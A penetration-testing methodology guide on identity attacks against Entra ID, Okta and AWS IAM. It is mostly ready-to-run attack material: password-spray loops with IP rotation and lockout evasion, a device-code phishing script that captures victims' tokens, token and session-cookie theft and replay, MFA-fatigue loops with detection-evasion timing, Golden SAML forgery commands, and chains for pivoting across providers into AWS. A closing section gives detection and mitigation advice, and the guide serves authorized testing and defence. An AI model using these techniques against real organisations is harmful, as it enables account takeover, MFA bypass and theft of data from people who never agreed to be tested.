Type: Methodology Guide
Domain: Offensive Security / Identity
Audience: Red teamers, penetration testers, offensive security engineers
Introduction: Identity Is the Perimeter
In 2026, credential-based attacks account for the initial access vector in the majority of confirmed breaches. The perimeter dissolved – cloud-first organizations replaced VPNs and firewalls with identity providers. Entra ID, Okta, and AWS IAM are now the gates. Pentests that don’t test these gates are incomplete by definition.
The shift matters because the attack surface changed shape. You’re no longer looking for an unpatched service exposed on port 8443. You’re looking for timing windows in authentication APIs, token storage issues in browsers and CI runners, federation trust misconfigurations, and MFA implementations that rely on user behavior to hold.
This guide is an end-to-end methodology for identity attack paths across the three platforms most commonly deployed in enterprise environments. It covers techniques from initial reconnaissance through cross-platform chaining, with commands, tooling, and the specific gaps that compliance-driven assessments routinely miss.
Reconnaissance: Building the Identity Graph
Before touching any authentication endpoint, map what you’re working with.
Tenant and Org Discovery
For Entra ID, tenant enumeration is unauthenticated:
# Resolve tenant ID from domain
curl -s "https://login.microsoftonline.com/<target.com>/.well-known/openid-configuration" | jq '.issuer'
# AADInternals tenant info
Import-Module AADInternals
Get-AADIntTenantDetails -Domain "target.com"
For Okta, the org URL is usually discoverable from job postings, .well-known endpoints, or subdomain enumeration:
# Confirm Okta org exists
curl -s "https://target.okta.com/.well-known/openid-configuration"
# Check if custom domain is in use
curl -I "https://sso.target.com/"
For AWS, look for exposed keys in GitHub, CI logs, and public S3 objects before touching any API:
# truffleHog for secrets in git history
trufflehog git https://github.com/target-org/repo --only-verified
# Check if key is valid and get caller identity
aws sts get-caller-identity --profile found-key
Section 1: Entra ID Attack Paths
Password Spraying with Timing Evasion
Entra ID Smart Lockout triggers after a threshold of failed attempts per account (default: 10 failures, but configurable). The lockout is per-datacenter, not global – a behavior that creates an evasion window.
Standard spray using MSOLSpray or TREVORspray:
# TREVORspray - supports fireprox integration for IP rotation
trevorspray -u users.txt -p 'Spring2026!' --fireprox https://api.gateway.amazonaws.com/abcdef/ --delay 30
Key timing considerations:
- Minimum 30 seconds between sprays per user
- Rotate source IPs using AWS API Gateway (FireProx) to bypass per-IP throttling
- Use the
userNamePasswordUrlendpoint (/common/oauth2/token) rather than the/authorizeflow – it gives binary success/fail responses with no redirect noise
Detect valid usernames before spraying using the GetCredentialType endpoint:
# Returns IfExistsResult: 0 = exists, 1 = doesn't exist, 5 = federated
curl -s -X POST "https://login.microsoftonline.com/common/GetCredentialType" \
-H "Content-Type: application/json" \
-d '{"Username": "user@target.com"}' | jq '.IfExistsResult'
Device Code Phishing
Device code phishing bypasses MFA entirely. The attacker initiates a device code flow, then tricks the target into authenticating. The resulting token is delivered to the attacker.
# Step 1: Request device code
import requests
resp = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/devicecode",
data={
"client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c", # Microsoft Office client ID
"scope": "openid profile email offline_access https://graph.microsoft.com/.default"
}
)
data = resp.json()
print(f"User code: {data['user_code']}")
print(f"Verification URL: {data['verification_uri']}")
# Step 2: Poll for token while waiting for victim to authenticate
import time
while True:
token_resp = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
data={
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": data["device_code"],
"client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c"
}
)
if "access_token" in token_resp.json():
print("Token acquired!")
print(token_resp.json()["access_token"])
break
time.sleep(5)
The victim receives a phishing email or message: “Click here to approve your device registration” pointing to microsoft.com/devicelogin with the code pre-filled. They authenticate with their credentials and MFA – you get a valid access token.
Primary Refresh Token (PRT) Theft
PRTs are long-lived tokens (14 days) issued to Entra-joined or registered devices. They can be used to obtain access tokens for any resource without re-authenticating.
# Dump PRT from device using ROADtoken (requires local admin or SYSTEM)
.\ROADtoken.exe /device
# Alternatively via AADInternals on a joined device
Get-AADIntUserPRTKeys -GetNonce
Once you have the PRT and session key, you can mint tokens for any application in the tenant:
# Use PRT to get access token for Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prt -SessionKey $sessionKey
Conditional Access Bypass
Conditional Access policies are only as strong as their configuration. Common bypasses:
Legacy authentication protocols: SMTP, IMAP, and Exchange ActiveSync often bypass CA policies. Test with:
# Test legacy auth to Exchange Online
curl -u "user@target.com:Password123!" "https://outlook.office365.com/mapi/emsmdb/?MailboxId=user@target.com"
Named location gaps: If a CA policy only applies to “Unknown Locations,” registering a managed device (or impersonating compliant device headers) may bypass the policy.
Break-glass accounts: Global Administrator break-glass accounts are often excluded from MFA policies by design. If you compromise one during an engagement, you have unconstrained access.
Section 2: Okta Attack Paths
Password Spraying Against Okta
Okta’s API endpoint for primary authentication is /api/v1/authn. Response codes are largely consistent across valid and invalid users – Okta has improved enumeration prevention – but response timing is still exploitable for username enumeration against some org configurations:
# Authentication attempt - valid user, wrong password
curl -s -X POST "https://target.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"user@target.com","password":"Wrong!"}' | jq '.errorCode,.status'
# Valid user: "E0000004" / null (auth failure, user exists)
# Invalid user: same code, but response latency may differ - time responses to enumerate
# Locked user returns E0000119 - useful signal during a spray
Okta rate limits on authentication are configured per-org. Default lockout is typically 10 attempts. Spray slowly and rotate IPs.
# Direct spray loop - wrap with IP rotation (Tor, ProxyChains, or Fireprox) for volume
for user in $(cat users.txt); do
curl -s -X POST "https://target.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d "{\"username\":\"${user}\",\"password\":\"Spring2026!\"}" | \
python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('errorCode','SUCCESS'), '${user}')"
sleep 45
done
Session Cookie Theft and Replay
Okta sessions are governed by sid cookies. If you can extract a valid session cookie (via XSS, MITM on non-HSTS endpoints, or malware), you can impersonate the user without credentials or MFA.
# Test cookie validity
curl -s -b "sid=<stolen-cookie>" "https://target.okta.com/api/v1/sessions/me" | jq '.userId'
Okta’s session lifetime is configurable – organizations sometimes extend sessions to 8–12 hours for convenience, creating a significant replay window.
Okta FastPass Abuse
Okta FastPass is a phishing-resistant authenticator bound to a specific device. However, in environments where FastPass is deployed alongside legacy factors (push, TOTP, SMS) as fallback, attackers can downgrade the authentication flow to avoid triggering device-bound verification.
The key: FastPass enforcement depends on DEVICE_BASED policy context. When authenticating from a non-enrolled device, Okta’s policy engine evaluates whether the org requires device-bound factors or allows fallback to push/TOTP. If fallback is permitted, an attacker with valid credentials can authenticate without satisfying the FastPass requirement.
Test procedure:
- Obtain valid credentials (from spray or phishing)
- Authenticate from a clean VM with no enrolled device
- Observe whether Okta falls back to push or TOTP instead of requiring FastPass
- If fallback triggers: the org’s policy allows downgrade – document and proceed
Organizations that enforce DEVICE_BASED as the only factor with no fallback are not vulnerable. Most are not configured this tightly. Check the Okta admin console (Security > Authentication Policies) for fallback factor chain configuration – this is the setting that determines exposure.
Okta Admin Console – Privilege Escalation
Okta’s admin console (/admin/dashboard) uses the same session as the user portal. If a compromised account has any admin role (even Help Desk Admin), enumerate what that role can access:
# List all users via API (requires read:users scope)
curl -H "Authorization: SSWS <api-token>" "https://target.okta.com/api/v1/users?limit=200"
# Check your effective permissions
curl -H "Authorization: SSWS <api-token>" "https://target.okta.com/api/v1/roles"
App Admin and Org Admin roles can push applications to users, modify app assignments, and in some configurations extract SAML signing keys.
Section 3: AWS IAM Attack Paths
Long-Term Key Exposure
Static IAM access keys (AKIA* prefix) are the most common AWS initial access vector. They don’t expire by default, survive employee offboarding if not rotated, and turn up constantly in GitHub repositories, CI environment variables, and Docker images.
# Enumerate permissions on a found key (using enumerate-iam)
python3 enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Check what this identity can do
aws sts get-caller-identity
aws iam get-user
aws iam list-attached-user-policies
aws iam list-user-policies
sts:GetCallerIdentity is never blocked by SCPs or permission boundaries – it’s the safest first call on any found key.
STS AssumeRole Chains
IAM roles with permissive trust policies allow cross-account and cross-service pivoting. After gaining initial credentials:
# List roles you can assume
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) | .RoleName'
# Assume a role
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/DevOpsAdmin \
--role-session-name pentest \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]'
# Export temp credentials
export AWS_ACCESS_KEY_ID=<id>
export AWS_SECRET_ACCESS_KEY=<key>
export AWS_SESSION_TOKEN=<token>
Common pivot targets:
OrganizationAccountAccessRole– created by AWS Organizations in member accounts, assumed from master account- CI/CD roles – often over-permissioned (
sts:AssumeRoleon*) - Lambda execution roles – may have
iam:PassRoleto escalate further
Pacu for IAM Enumeration
Pacu is the AWS exploitation framework, analogous to Metasploit for cloud:
# Start Pacu and create a session
python3 pacu.py
# Import found credentials
set_keys
# Run IAM enum module
run iam__enum_users_roles_policies_groups
# Check for privilege escalation paths
run iam__privesc_scan
The iam__privesc_scan module checks for all known IAM privilege escalation paths (Rhino Security’s research) including iam:CreatePolicyVersion, iam:AttachUserPolicy, lambda:CreateFunction + iam:PassRole, and 20+ other vectors.
Section 4: Cross-Platform Chaining
The highest-impact attacks chain identity providers. A realistic scenario:
flowchart LR
A[Password spray Okta] --> B[Valid user session]
B --> C[Enumerate Okta app assignments]
C --> D[Access Azure app via SAML SSO]
D --> E[Entra ID token - Azure access]
E --> F[Azure Managed Identity on VM]
F --> G[AWS AssumeRole via OIDC federation]
G --> H[AWS account access]
Step-by-step:
- Okta compromise – Password spray yields valid Okta credentials. MFA is push-based.
- MFA fatigue – Initiate multiple authentication attempts. Target approves push after repeated notifications.
- Enumerate Okta app assignments – Use the Okta API to list apps assigned to the compromised user. Azure and AWS are federated via SAML.
curl -H "Authorization: Bearer <okta-session-token>" \
"https://target.okta.com/api/v1/users/me/appLinks"
- SAML assertion theft – Intercept the SAML response when the user authenticates to Azure via Okta. With a valid SAML assertion, request an Entra ID token:
# Use Entra ID SAML flow to exchange SAML assertion for access token
curl -X POST "https://login.microsoftonline.com/<tenantId>/oauth2/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:saml2-bearer" \
-d "assertion=<base64-encoded-saml-assertion>" \
-d "resource=https://management.azure.com/" \
-d "client_id=<app-client-id>"
- Azure to AWS via OIDC federation – If the Azure environment has a Managed Identity on a VM, and AWS has an IAM role configured to trust Azure OIDC tokens, you can chain directly into AWS:
# On Azure VM: get managed identity token
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=api://AzureADTokenExchange"
# Exchange for AWS credentials
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::123456789012:role/AzureFederatedRole \
--role-session-name pivot \
--web-identity-token <azure-managed-identity-token>
This full chain – from an Okta password spray to AWS account access – requires no exploited vulnerability. It’s entirely within the designed authentication flows, which is precisely what makes it difficult to detect and easy to miss in compliance assessments.
Section 5: MFA Fatigue Attacks
MFA fatigue exploits push-based authenticators. The attack is simple: initiate back-to-back authentication requests and wait for the target to tap “Approve” out of habit, confusion, or frustration.
Execution
# Repeated Okta authentication triggers (use valid credentials from spray)
for i in {1..10}; do
curl -s -X POST "https://target.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"user@target.com","password":"ValidPass!"}' | jq '.status'
sleep 30
done
For Entra ID, the same principle applies with the /common/oauth2/v2.0/token endpoint when the account has MFA configured via Microsoft Authenticator push.
Platform-Specific Gaps
| Platform | Default MFA type | Fatigue susceptible? | Notes |
|---|---|---|---|
| Entra ID | Microsoft Authenticator push | Yes | Number matching reduces risk if enabled |
| Okta | Okta Verify push | Yes | “Additional context” policy reduces risk |
| AWS | Virtual MFA (TOTP) | No | TOTP requires intercepting code; not push-based |
AWS IAM MFA is TOTP-based by default – you cannot bomb it. However, IAM roles federated through Entra ID or Okta inherit whatever MFA policy those providers enforce.
Detection evasion: Space out push attempts to mimic a user who keeps missing their phone. 3–5 attempts over 2–3 hours is more realistic than 10 attempts in 5 minutes and less likely to trigger anomaly alerts.
Section 6: Golden SAML
Golden SAML is the SAML equivalent of a Golden Ticket. If you can extract or forge the SAML signing key from an identity provider, you can generate arbitrary SAML assertions that any relying party will accept.
Prerequisites
- Access to the IdP signing key (ADFS private key, Okta SAML signing cert, or a compromised CA)
- Target: any SAML-integrated application (AWS, Azure, Salesforce, etc.)
Against ADFS (on-prem federation to Entra ID)
# On compromised ADFS server: export token signing certificate
Export-PfxCertificate -Cert "Cert:\LocalMachine\My\<thumbprint>" \
-FilePath C:\temp\adfs-sign.pfx -Password (ConvertTo-SecureString -String "export123" -Force -AsPlainText)
# Use ADFSpoof to generate a golden SAML assertion
python3 ADFSpoof.py \
-b adfs-sign.pfx export123 \
-s adfs.target.com \
--target "urn:federation:MicrosoftOnline" \
--nameid "victimadmin@target.com" \
--upn "victimadmin@target.com" \
--role "CompanyAdministrator"
Against AWS via SAML Federation
AWS accepts SAML assertions from trusted IdPs to vend temporary credentials via STS:
# With a forged SAML assertion targeting AWS
curl -X POST "https://signin.aws.amazon.com/saml" \
--data-urlencode "SAMLResponse=<base64-forged-assertion>"
The key indicator: SAML assertions are not logged at the IdP level in most default configurations. The only record of a Golden SAML attack is at the relying party – AWS CloudTrail, Entra ID sign-in logs – and even those show a legitimate authentication.
Section 7: Blind Spots in Compliance Assessments
Standard compliance-driven pentests miss identity attacks because they’re designed around CVE detection and network scanning. The gaps:
What Gets Missed
1. Federation trust validation
Assessors rarely verify which external IdPs an organization trusts, whether those IdPs’ signing certs are adequately protected, or whether SAML assertions are validated for audience and expiry. A misconfigured trust relationship can allow any assertion from a trusted IdP to authenticate as any user.
2. Legacy protocol exposure
SMTP AUTH, IMAP, and POP3 to Exchange Online are rarely tested. These protocols bypass Conditional Access in misconfigured environments and are invisible to most automated scanners.
3. OAuth permission scope creep
First-party and third-party app registrations in Entra ID accumulate permissions over time. A compromised OAuth token for an app with Mail.ReadWrite + User.ReadWrite.All is equivalent to domain admin for cloud-native organizations. Assessments rarely audit registered app permissions.
# Enumerate app registrations and their permissions
Get-MgApplication -All | ForEach-Object {
$app = $_
$app.RequiredResourceAccess | ForEach-Object {
[PSCustomObject]@{
AppName = $app.DisplayName
ResourceId = $_.ResourceAppId
Permissions = $_.ResourceAccess | Select-Object Id, Type
}
}
}
4. Service principal secrets and certificates
Service principals (app registrations’ identity in a tenant) often have long-lived client secrets that don’t expire. These are stored in Azure Key Vault, CI pipelines, and config files – and finding one is equivalent to finding a static API key.
5. Cross-tenant access settings
Azure B2B external collaboration settings allow users from other tenants to access resources. Overly permissive cross-tenant access policies – especially “trust all Microsoft tenants” – create supply chain risk that compliance checklists ignore.
6. AWS IAM permission boundaries and SCPs not being tested
Assessors check IAM policies but rarely test whether Permission Boundaries and Service Control Policies (SCPs) are actually enforced. A policy boundary that exists in Terraform but was manually overridden in the console will pass a documentation review and fail in practice.
Section 8: Tooling Reference
Entra ID / Azure AD
| Tool | Purpose | Source |
|---|---|---|
| AADInternals | Tenant recon, token manipulation, PRT theft, phishing | Install-Module AADInternals |
| ROADtools | Full tenant enumeration, token extraction, conditional access analysis | pip install roadtools |
| TokenTacticsV2 | Device code phishing automation, token refresh abuse | GitHub: f-bader/TokenTacticsV2 |
| MSOLSpray | Password spraying against Entra ID | GitHub: dafthack/MSOLSpray |
| TREVORspray | Password spraying with FireProx IP rotation | GitHub: blacklanternsecurity/TREVORspray |
# ROADtools - dump full tenant
roadrecon gather --access-token <token>
roadrecon gui # launches browser-based visualizer
Okta
| Tool | Purpose | Notes |
|---|---|---|
| CredMaster | Password spraying with pluggable provider support, including Okta | GitHub: knavesec/CredMaster |
okta-api.py (manual) | Direct API interaction for session manipulation | Write your own with requests |
| Burp Suite | Session cookie analysis, SAML flow interception | Intercept SAML responses in proxy |
AWS
| Tool | Purpose | Source |
|---|---|---|
| Pacu | AWS exploitation framework | GitHub: RhinoSecurityLabs/pacu |
| enumerate-iam | Permission enumeration on found keys | GitHub: andresriancho/enumerate-iam |
| CloudFox | Attack surface enumeration for cloud environments | GitHub: BishopFox/cloudfox |
| truffleHog | Secret scanning in git/code | pip install trufflehog |
# CloudFox — enumerate AWS attack surface
cloudfox aws --profile found-key all-checks
# Key outputs:
# - principals with dangerous permissions
# - secrets in environment variables
# - assumable roles from current identity
Cross-Platform
| Tool | Purpose |
|---|---|
| ADFSpoof | Golden SAML assertion generation against ADFS |
| o365spray | Enumeration and spraying for Microsoft 365 |
| Mandiant’s Azure AD Investigator | Defensive baseline but useful for understanding detection |
Detection and Mitigation Notes
Include these in findings and recommendations:
Password spraying detection:
- Entra ID: Monitor
SignInLogsforResultType: 50126(invalid credentials) across multiple accounts from the same IP - Okta:
policy.evaluate_sign_onevents withoutcome.result: DENYat volume - AWS: CloudTrail
ConsoleLoginfailures +GetCallerIdentitycalls from unknown principals
MFA fatigue mitigation:
- Enable number matching in Microsoft Authenticator (removes one-tap approval)
- Enable “additional context” in Okta Verify (shows app name and location)
- Consider FIDO2/passkey for high-privilege accounts
Token theft mitigation:
- Continuous Access Evaluation (CAE) in Entra ID revokes tokens within minutes of policy change
- Restrict PRT usage to compliant devices via Conditional Access
- Audit service principal credential expiry; enforce 90-day rotation
Golden SAML mitigation:
- Restrict access to ADFS token signing certs (HSM storage where possible)
- Monitor for SAML assertions where the authentication timestamp is old or missing
- Enable AWS CloudTrail logging for all
AssumeRoleWithSAMLcalls; alert on unusual principals
Closing Notes
Identity attack paths in 2026 require zero exploited vulnerabilities in most environments. The techniques in this guide – password spraying, device code phishing, token replay, role chaining, and MFA fatigue – all operate within legitimate protocol flows. That’s what makes them effective and what makes them hard to find in checklist-based assessments.
The scope of a thorough identity-focused pentest should include: tenant enumeration, authentication endpoint testing across all supported protocols, federation trust review, OAuth permission audit, and at least one cross-platform chaining attempt. If you have compromised any identity – even a low-privilege user – walk every trust path before concluding the engagement.
Guide produced by CyberLabs Technical Security team. All techniques described are for authorized security testing only.